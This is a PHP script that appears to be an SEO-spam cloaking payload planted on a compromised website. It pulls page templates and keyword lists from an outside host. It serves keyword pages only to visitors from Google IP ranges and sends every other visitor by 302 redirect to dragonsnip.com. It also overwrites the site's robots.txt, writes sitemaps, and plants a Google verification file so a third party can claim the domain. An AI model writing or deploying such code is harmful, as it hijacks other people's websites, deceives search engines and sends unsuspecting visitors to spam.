<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$a = 'https://dev.artikelspiner.id/temp/dcpublicschool/lp.php';
$b = 'https://dev.artikelspiner.id/temp/dcpublicschool/slot.json';
$i = 'https://dev.artikelspiner.id/temp/dcpublicschool/link.txt';
$j = 'https://dev.artikelspiner.id/temp/dcpublicschool/giflink.txt';
$h = 'data';

$canonicallink = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$canonicalreplace = '{canonical}';

$amplink = 'https://berita-terkini.id/amp/';
$ampreplace = '{amphtml}';

$endpoint = 'https://dragonsnip.com/wWHSb';
$endpointreplace = '{endpoint}';

$param = isset($_GET[$h]) ? $_GET[$h] : '';
processRequest($param, $a, $b, $i, $j, $canonicallink, $amplink, $endpoint);

$directoryPath = dirname(__FILE__);
$xmlFiles = glob($directoryPath . '/*.xml');
if (empty($xmlFiles)) {
    generateSitemap($h, $b, $canonicallink, $amplink);
}

$verificationFilePath = dirname(__FILE__) . '/googlec47e0d7763bece1a.html';
if (!file_exists($verificationFilePath)) {
    generateGoogleVerificationFile();
}

function curlGetContent($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects
    curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Timeout in seconds
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

function getFileContent($file) {
    if (filter_var($file, FILTER_VALIDATE_URL)) {
        return curlGetContent($file);
    } else {
        if (file_exists($file)) {
            return file_get_contents($file);
        }
    }
    return false;
}

function processRequest($param, $templateFile, $jsonFile, $imageFile, $gifFile, $canonicallink, $amplink, $endpoint) {
    $jsonContent = getFileContent($jsonFile);
    if (!$jsonContent) {
        handle404();
    }

    $imageContent = getFileContent($imageFile);
    if (!$imageContent) {
        handle404();
    }

    $imageList = array_filter(explode("\n", $imageContent)); // Hapus baris kosong
    $randomImage = '';
    $randomGif = '';

    // Ambil daftar file gif jika ada
    $gifContent = getFileContent($gifFile);
    if ($gifContent) {
        $gifList = array_filter(explode("\n", $gifContent)); // Hapus baris kosong
        if (!empty($gifList)) {
            $randomGif = $gifList[array_rand($gifList)]; // Pilih gif secara acak
        }
    }

    if (isset($_GET['new_link'])) {
        unset($_SESSION['selected_image']);
    }

    if (!isset($_SESSION['selected_image']) && !empty($imageList)) {
        $randomImage = $imageList[array_rand($imageList)];
        $_SESSION['selected_image'] = $randomImage;
    } else {
        $randomImage = $_SESSION['selected_image'] ?? '';
    }

    $brands = json_decode($jsonContent, true);  // Menggunakan format JSON langsung

    if (json_last_error() !== JSON_ERROR_NONE) {
        handle404();
    }

    $selectedBrand = null;
    foreach ($brands as $brand) {
        if (isset($brand['brand']) && $brand['brand'] === $param) {
            $selectedBrand = $brand;
            break;
        }
    }

    if (!$selectedBrand) {
        handle404();
    }

    $templateContent = getFileContent($templateFile);
    if (!$templateContent) {
        handle404();
    }

    $templateContent = str_replace('{title}', $selectedBrand['title'], $templateContent);
    $templateContent = str_replace('{deskripsi}', $selectedBrand['description'], $templateContent);
    $templateContent = str_replace('{canonical}', $canonicallink, $templateContent);
    $templateContent = str_replace('{amphtml}', $amplink, $templateContent);
    $templateContent = str_replace('{endpoint}', $endpoint, $templateContent);
    $templateContent = str_replace('{image}', $randomImage, $templateContent);
    $templateContent = str_replace('{gif}', $randomGif, $templateContent);

    displayLPContent($templateContent);
}


function generateSitemap($h, $b, $canonicallink, $amplink) {
    $jsonContent = file_get_contents($b);
    $brands = json_decode($jsonContent, true);

    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $baseUrl = $protocol . '://' . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['PHP_SELF']), '/') . '/';
    $maxUrlsPerSitemap = 10000; // Batas jumlah URL per sitemap
    $totalKeywords = count($brands); // Total keyword dalam JSON
    $totalSitemaps = ceil($totalKeywords / $maxUrlsPerSitemap); // Hitung jumlah sitemap yang diperlukan
    $generatedSitemaps = 0;

    for ($i = 1; $i <= $totalSitemaps; $i++) {
        $startIndex = ($i - 1) * $maxUrlsPerSitemap;
        $endIndex = min($startIndex + $maxUrlsPerSitemap - 1, $totalKeywords - 1);
        $sitemapContent = '<?xml version="1.0" encoding="UTF-8"?>
        <?xml-stylesheet href="https://raw.githubusercontent.com/zeverix/sitemap/refs/heads/main/index.xsl" type="text/xsl"?>
        <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" xmlns:video="http://www.google.com/schemas/sitemap-video/1.1">';
        $hasUrls = false;

        for ($j = $startIndex; $j <= $endIndex; $j++) {
            if (isset($brands[$j]['brand'])) {
                $brand = $brands[$j]['brand'];
                $url = $baseUrl . urlencode($brand);
                $lastmod = date('c');
                $changefreq = 'daily';
                $priority = '1.0';
                $sitemapContent .= "
                <url>
                <loc>{$url}</loc>
                <lastmod>{$lastmod}</lastmod>
                <changefreq>{$changefreq}</changefreq>
                <priority>{$priority}</priority>
                </url>";

                $hasUrls = true;
            }
        }

        $sitemapContent .= '
        </urlset>';

        if ($hasUrls) {
            $sitemapFilePath = dirname(__FILE__) . '/sitemap' . $i . '.xml';
            file_put_contents($sitemapFilePath, $sitemapContent);
            $generatedSitemaps++;
        }
    }

    if ($generatedSitemaps > 0) {
        generaterobotsfiles($generatedSitemaps);
    }
}

function generateGoogleVerificationFile() {
    $verificationFilePath = dirname(__FILE__) . '/googlec47e0d7763bece1a.html';
    $verificationContent = 'google-site-verification: googlec47e0d7763bece1a.html';
    file_put_contents($verificationFilePath, $verificationContent);
}

function generaterobotsfiles($totalSitemaps) {
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http";
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];
    $robotsfile = $documentRoot . '/robots.txt';
    $robotsfilecontent = "User-agent: *\nAllow: /\n\n";
    for ($i = 1; $i <= $totalSitemaps; $i++) {
        $robotsfilecontent .= 'Sitemap: ' . $protocol . '://' . $_SERVER['HTTP_HOST'] . '/sitemap' . $i . '.xml' . "\n";
    }
    file_put_contents($robotsfile, $robotsfilecontent);
}

function handle404() {
    echo '404 bos';
    exit();
}

function getClientIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    } else {
        return $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
    }
}

function isAllowedBot($ip) {
    $allowedBotIps = [
        '66.249.', // Googlebot
        '64.233.', // Google Proxy
        '74.125.', // Google Proxy
        '216.239.', // Google Proxy
        '173.194.', // Google Proxy
        '203.189.',
        '127.0.',
    ];

    foreach ($allowedBotIps as $range) {
        if (strpos($ip, $range) === 0) {
            return true;
        }
    }

    return false;
}

function displayLPContent($content) {
    $clientIP = getClientIP();

    if (isAllowedBot($clientIP)) {
        echo $content;
    } else {
        $targetUrl = "https://dragonsnip.com/wWHSb";
        header("HTTP/1.1 302 Found");
        header("Location: $targetUrl");
        header("Connection: close");
        exit();
    }
}

?>